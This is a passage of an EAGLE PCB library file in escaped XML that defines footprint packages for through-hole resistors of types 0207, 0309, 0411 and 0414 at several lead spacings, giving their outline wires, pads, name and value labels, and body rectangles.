x2=\"-2.413\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-1.016\" x2=\"2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-1.016\" x2=\"-2.413\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.921\" y1=\"1.143\" x2=\"2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.921\" y1=\"-1.143\" x2=\"2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"-0.889\" x2=\"3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-5.08\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"5.08\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-3.048\" y=\"1.524\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.2606\" y=\"-0.635\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"3.175\" y1=\"-0.3048\" x2=\"4.0386\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"-4.0386\" y1=\"-0.3048\" x2=\"-3.175\" y2=\"0.3048\" layer=\"21\"/>\n</package>\n<package name=\"0207/12\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0207, grid 12 mm</description>\n<wire x1=\"6.35\" y1=\"0\" x2=\"5.334\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-6.35\" y1=\"0\" x2=\"-5.334\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-3.175\" y1=\"0.889\" x2=\"-2.921\" y2=\"1.143\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-3.175\" y1=\"-0.889\" x2=\"-2.921\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.921\" y1=\"-1.143\" x2=\"3.175\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.921\" y1=\"1.143\" x2=\"3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-3.175\" y1=\"-0.889\" x2=\"-3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.921\" y1=\"1.143\" x2=\"-2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"1.016\" x2=\"-2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.921\" y1=\"-1.143\" x2=\"-2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"-1.016\" x2=\"-2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.016\" x2=\"2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.016\" x2=\"-2.413\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-1.016\" x2=\"2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-1.016\" x2=\"-2.413\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.921\" y1=\"1.143\" x2=\"2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.921\" y1=\"-1.143\" x2=\"2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"-0.889\" x2=\"3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.445\" y1=\"0\" x2=\"4.064\" y2=\"0\" width=\"0.6096\" layer=\"21\"/>\n<wire x1=\"-4.445\" y1=\"0\" x2=\"-4.064\" y2=\"0\" width=\"0.6096\" layer=\"21\"/>\n<pad name=\"1\" x=\"-6.35\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"6.35\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-3.175\" y=\"1.397\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.286\" y=\"-0.6858\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"3.175\" y1=\"-0.3048\" x2=\"4.0386\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"-4.0386\" y1=\"-0.3048\" x2=\"-3.175\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"4.445\" y1=\"-0.3048\" x2=\"5.3086\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"-5.3086\" y1=\"-0.3048\" x2=\"-4.445\" y2=\"0.3048\" layer=\"21\"/>\n</package>\n<package name=\"0207/15\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0207, grid 15mm</description>\n<wire x1=\"7.62\" y1=\"0\" x2=\"6.604\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-6.604\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-3.175\" y1=\"0.889\" x2=\"-2.921\" y2=\"1.143\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-3.175\" y1=\"-0.889\" x2=\"-2.921\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.921\" y1=\"-1.143\" x2=\"3.175\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.921\" y1=\"1.143\" x2=\"3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-3.175\" y1=\"-0.889\" x2=\"-3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.921\" y1=\"1.143\" x2=\"-2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"1.016\" x2=\"-2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.921\" y1=\"-1.143\" x2=\"-2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"-1.016\" x2=\"-2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.016\" x2=\"2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.016\" x2=\"-2.413\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-1.016\" x2=\"2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-1.016\" x2=\"-2.413\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.921\" y1=\"1.143\" x2=\"2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.921\" y1=\"-1.143\" x2=\"2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"-0.889\" x2=\"3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"5.715\" y1=\"0\" x2=\"4.064\" y2=\"0\" width=\"0.6096\" layer=\"21\"/>\n<wire x1=\"-5.715\" y1=\"0\" x2=\"-4.064\" y2=\"0\" width=\"0.6096\" layer=\"21\"/>\n<pad name=\"1\" x=\"-7.62\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"7.62\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-3.175\" y=\"1.397\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.286\" y=\"-0.6858\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"3.175\" y1=\"-0.3048\" x2=\"4.0386\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"-4.0386\" y1=\"-0.3048\" x2=\"-3.175\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"5.715\" y1=\"-0.3048\" x2=\"6.5786\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"-6.5786\" y1=\"-0.3048\" x2=\"-5.715\" y2=\"0.3048\" layer=\"21\"/>\n</package>\n<package name=\"0207/2V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0207, grid 2.5 mm</description>\n<wire x1=\"-1.27\" y1=\"0\" x2=\"-0.381\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-0.254\" y1=\"0\" x2=\"0.254\" y2=\"0\" width=\"0.6096\" layer=\"21\"/>\n<wire x1=\"0.381\" y1=\"0\" x2=\"1.27\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<circle x=\"-1.27\" y=\"0\" radius=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<circle x=\"-1.27\" y=\"0\" radius=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-0.0508\" y=\"1.016\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-0.0508\" y=\"-2.2352\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"0207/5V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0207, grid 5 mm</description>\n<wire x1=\"-2.54\" y1=\"0\" x2=\"-0.889\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-0.762\" y1=\"0\" x2=\"0.762\" y2=\"0\" width=\"0.6096\" layer=\"21\"/>\n<wire x1=\"0.889\" y1=\"0\" x2=\"2.54\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"1.27\" width=\"0.1016\" layer=\"21\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"2.54\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-1.143\" y=\"0.889\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-1.143\" y=\"-2.159\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n</package>\n<package name=\"0207/7\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0207, grid 7.5 mm</description>\n<wire x1=\"-3.81\" y1=\"0\" x2=\"-3.429\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-3.175\" y1=\"0.889\" x2=\"-2.921\" y2=\"1.143\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-3.175\" y1=\"-0.889\" x2=\"-2.921\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.921\" y1=\"-1.143\" x2=\"3.175\" y2=\"-0.889\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"2.921\" y1=\"1.143\" x2=\"3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-3.175\" y1=\"-0.889\" x2=\"-3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-2.921\" y1=\"1.143\" x2=\"-2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"1.016\" x2=\"-2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.921\" y1=\"-1.143\" x2=\"-2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-2.413\" y1=\"-1.016\" x2=\"-2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.016\" x2=\"2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"1.016\" x2=\"-2.413\" y2=\"1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-1.016\" x2=\"2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.413\" y1=\"-1.016\" x2=\"-2.413\" y2=\"-1.016\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.921\" y1=\"1.143\" x2=\"2.54\" y2=\"1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"2.921\" y1=\"-1.143\" x2=\"2.54\" y2=\"-1.143\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.175\" y1=\"-0.889\" x2=\"3.175\" y2=\"0.889\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"3.429\" y1=\"0\" x2=\"3.81\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<pad name=\"1\" x=\"-3.81\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"3.81\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-2.54\" y=\"1.397\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-2.286\" y=\"-0.5588\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-3.429\" y1=\"-0.3048\" x2=\"-3.175\" y2=\"0.3048\" layer=\"51\"/>\n<rectangle x1=\"3.175\" y1=\"-0.3048\" x2=\"3.429\" y2=\"0.3048\" layer=\"51\"/>\n</package>\n<package name=\"0309/10\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0309, grid 10mm</description>\n<wire x1=\"-4.699\" y1=\"0\" x2=\"-5.08\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-4.318\" y1=\"1.27\" x2=\"-4.064\" y2=\"1.524\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-4.318\" y1=\"-1.27\" x2=\"-4.064\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"4.064\" y1=\"-1.524\" x2=\"4.318\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"4.064\" y1=\"1.524\" x2=\"4.318\" y2=\"1.27\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-4.318\" y1=\"-1.27\" x2=\"-4.318\" y2=\"1.27\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"-4.064\" y1=\"1.524\" x2=\"-3.429\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.302\" y1=\"1.397\" x2=\"-3.429\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.064\" y1=\"-1.524\" x2=\"-3.429\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.302\" y1=\"-1.397\" x2=\"-3.429\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.302\" y1=\"1.397\" x2=\"3.429\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.302\" y1=\"1.397\" x2=\"-3.302\" y2=\"1.397\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.302\" y1=\"-1.397\" x2=\"3.429\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.302\" y1=\"-1.397\" x2=\"-3.302\" y2=\"-1.397\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.064\" y1=\"1.524\" x2=\"3.429\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.064\" y1=\"-1.524\" x2=\"3.429\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.318\" y1=\"-1.27\" x2=\"4.318\" y2=\"1.27\" width=\"0.1524\" layer=\"51\"/>\n<wire x1=\"5.08\" y1=\"0\" x2=\"4.699\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<pad name=\"1\" x=\"-5.08\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"5.08\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-4.191\" y=\"1.905\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.175\" y=\"-0.6858\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-4.6228\" y1=\"-0.3048\" x2=\"-4.318\" y2=\"0.3048\" layer=\"51\"/>\n<rectangle x1=\"4.318\" y1=\"-0.3048\" x2=\"4.6228\" y2=\"0.3048\" layer=\"51\"/>\n</package>\n<package name=\"0309/12\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0309, grid 12.5 mm</description>\n<wire x1=\"6.35\" y1=\"0\" x2=\"5.08\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-6.35\" y1=\"0\" x2=\"-5.08\" y2=\"0\" width=\"0.6096\" layer=\"51\"/>\n<wire x1=\"-4.318\" y1=\"1.27\" x2=\"-4.064\" y2=\"1.524\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-4.318\" y1=\"-1.27\" x2=\"-4.064\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"4.064\" y1=\"-1.524\" x2=\"4.318\" y2=\"-1.27\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"4.064\" y1=\"1.524\" x2=\"4.318\" y2=\"1.27\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-4.318\" y1=\"-1.27\" x2=\"-4.318\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.064\" y1=\"1.524\" x2=\"-3.429\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.302\" y1=\"1.397\" x2=\"-3.429\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.064\" y1=\"-1.524\" x2=\"-3.429\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.302\" y1=\"-1.397\" x2=\"-3.429\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.302\" y1=\"1.397\" x2=\"3.429\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.302\" y1=\"1.397\" x2=\"-3.302\" y2=\"1.397\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.302\" y1=\"-1.397\" x2=\"3.429\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.302\" y1=\"-1.397\" x2=\"-3.302\" y2=\"-1.397\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.064\" y1=\"1.524\" x2=\"3.429\" y2=\"1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.064\" y1=\"-1.524\" x2=\"3.429\" y2=\"-1.524\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.318\" y1=\"-1.27\" x2=\"4.318\" y2=\"1.27\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-6.35\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"6.35\" y=\"0\" drill=\"0.8128\" shape=\"octagon\"/>\n<text x=\"-4.191\" y=\"1.905\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.175\" y=\"-0.6858\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"4.318\" y1=\"-0.3048\" x2=\"5.1816\" y2=\"0.3048\" layer=\"21\"/>\n<rectangle x1=\"-5.1816\" y1=\"-0.3048\" x2=\"-4.318\" y2=\"0.3048\" layer=\"21\"/>\n</package>\n<package name=\"0411/12\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0411, grid 12.5 mm</description>\n<wire x1=\"6.35\" y1=\"0\" x2=\"5.461\" y2=\"0\" width=\"0.762\" layer=\"51\"/>\n<wire x1=\"-6.35\" y1=\"0\" x2=\"-5.461\" y2=\"0\" width=\"0.762\" layer=\"51\"/>\n<wire x1=\"5.08\" y1=\"-1.651\" x2=\"5.08\" y2=\"1.651\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.699\" y1=\"2.032\" x2=\"5.08\" y2=\"1.651\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-5.08\" y1=\"-1.651\" x2=\"-4.699\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"4.699\" y1=\"-2.032\" x2=\"5.08\" y2=\"-1.651\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-5.08\" y1=\"1.651\" x2=\"-4.699\" y2=\"2.032\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"4.699\" y1=\"2.032\" x2=\"4.064\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.937\" y1=\"1.905\" x2=\"4.064\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.699\" y1=\"-2.032\" x2=\"4.064\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.937\" y1=\"-1.905\" x2=\"4.064\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.937\" y1=\"1.905\" x2=\"-4.064\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.937\" y1=\"1.905\" x2=\"3.937\" y2=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.937\" y1=\"-1.905\" x2=\"-4.064\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.937\" y1=\"-1.905\" x2=\"3.937\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"1.651\" x2=\"-5.08\" y2=\"-1.651\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.699\" y1=\"2.032\" x2=\"-4.064\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.699\" y1=\"-2.032\" x2=\"-4.064\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<pad name=\"1\" x=\"-6.35\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"6.35\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<text x=\"-5.08\" y=\"2.413\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.5814\" y=\"-0.635\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-5.3594\" y1=\"-0.381\" x2=\"-5.08\" y2=\"0.381\" layer=\"21\"/>\n<rectangle x1=\"5.08\" y1=\"-0.381\" x2=\"5.3594\" y2=\"0.381\" layer=\"21\"/>\n</package>\n<package name=\"0411/15\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0411, grid 15 mm</description>\n<wire x1=\"5.08\" y1=\"-1.651\" x2=\"5.08\" y2=\"1.651\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.699\" y1=\"2.032\" x2=\"5.08\" y2=\"1.651\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-5.08\" y1=\"-1.651\" x2=\"-4.699\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"4.699\" y1=\"-2.032\" x2=\"5.08\" y2=\"-1.651\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"-5.08\" y1=\"1.651\" x2=\"-4.699\" y2=\"2.032\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"4.699\" y1=\"2.032\" x2=\"4.064\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.937\" y1=\"1.905\" x2=\"4.064\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"4.699\" y1=\"-2.032\" x2=\"4.064\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"3.937\" y1=\"-1.905\" x2=\"4.064\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.937\" y1=\"1.905\" x2=\"-4.064\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.937\" y1=\"1.905\" x2=\"3.937\" y2=\"1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.937\" y1=\"-1.905\" x2=\"-4.064\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-3.937\" y1=\"-1.905\" x2=\"3.937\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-5.08\" y1=\"1.651\" x2=\"-5.08\" y2=\"-1.651\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.699\" y1=\"2.032\" x2=\"-4.064\" y2=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-4.699\" y1=\"-2.032\" x2=\"-4.064\" y2=\"-2.032\" width=\"0.1524\" layer=\"21\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-6.35\" y2=\"0\" width=\"0.762\" layer=\"51\"/>\n<wire x1=\"6.35\" y1=\"0\" x2=\"7.62\" y2=\"0\" width=\"0.762\" layer=\"51\"/>\n<pad name=\"1\" x=\"-7.62\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"7.62\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<text x=\"-5.08\" y=\"2.413\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-3.5814\" y=\"-0.635\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"5.08\" y1=\"-0.381\" x2=\"6.477\" y2=\"0.381\" layer=\"21\"/>\n<rectangle x1=\"-6.477\" y1=\"-0.381\" x2=\"-5.08\" y2=\"0.381\" layer=\"21\"/>\n</package>\n<package name=\"0411V\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0411, grid 3.81 mm</description>\n<wire x1=\"1.27\" y1=\"0\" x2=\"0.3048\" y2=\"0\" width=\"0.762\" layer=\"51\"/>\n<wire x1=\"-1.5748\" y1=\"0\" x2=\"-2.54\" y2=\"0\" width=\"0.762\" layer=\"51\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"2.032\" width=\"0.1524\" layer=\"21\"/>\n<circle x=\"-2.54\" y=\"0\" radius=\"1.016\" width=\"0.1524\" layer=\"51\"/>\n<pad name=\"1\" x=\"-2.54\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<pad name=\"2\" x=\"1.27\" y=\"0\" drill=\"0.9144\" shape=\"octagon\"/>\n<text x=\"-0.508\" y=\"1.143\" size=\"1.27\" layer=\"25\" ratio=\"10\">&gt;NAME</text>\n<text x=\"-0.5334\" y=\"-2.413\" size=\"1.27\" layer=\"27\" ratio=\"10\">&gt;VALUE</text>\n<rectangle x1=\"-1.4732\" y1=\"-0.381\" x2=\"0.2032\" y2=\"0.381\" layer=\"21\"/>\n</package>\n<package name=\"0414/15\">\n<description>&lt;b&gt;RESISTOR&lt;/b&gt;&lt;p&gt;\ntype 0414, grid 15 mm</description>\n<wire x1=\"7.62\" y1=\"0\" x2=\"6.604\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-7.62\" y1=\"0\" x2=\"-6.604\" y2=\"0\" width=\"0.8128\" layer=\"51\"/>\n<wire x1=\"-6.096\" y1=\"1.905\" x2=\"-5.842\" y2=\"2.159\" width=\"0.1524\" layer=\"21\" curve=\"-90\"/>\n<wire x1=\"-6.096\" y1=\"-1.905\" x2=\"-5.842\" y2=\"-2.159\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire x1=\"5.842\" y1=\"-2.159\" x2=\"6.096\" y2=\"-1.905\" width=\"0.1524\" layer=\"21\" curve=\"90\"/>\n<wire 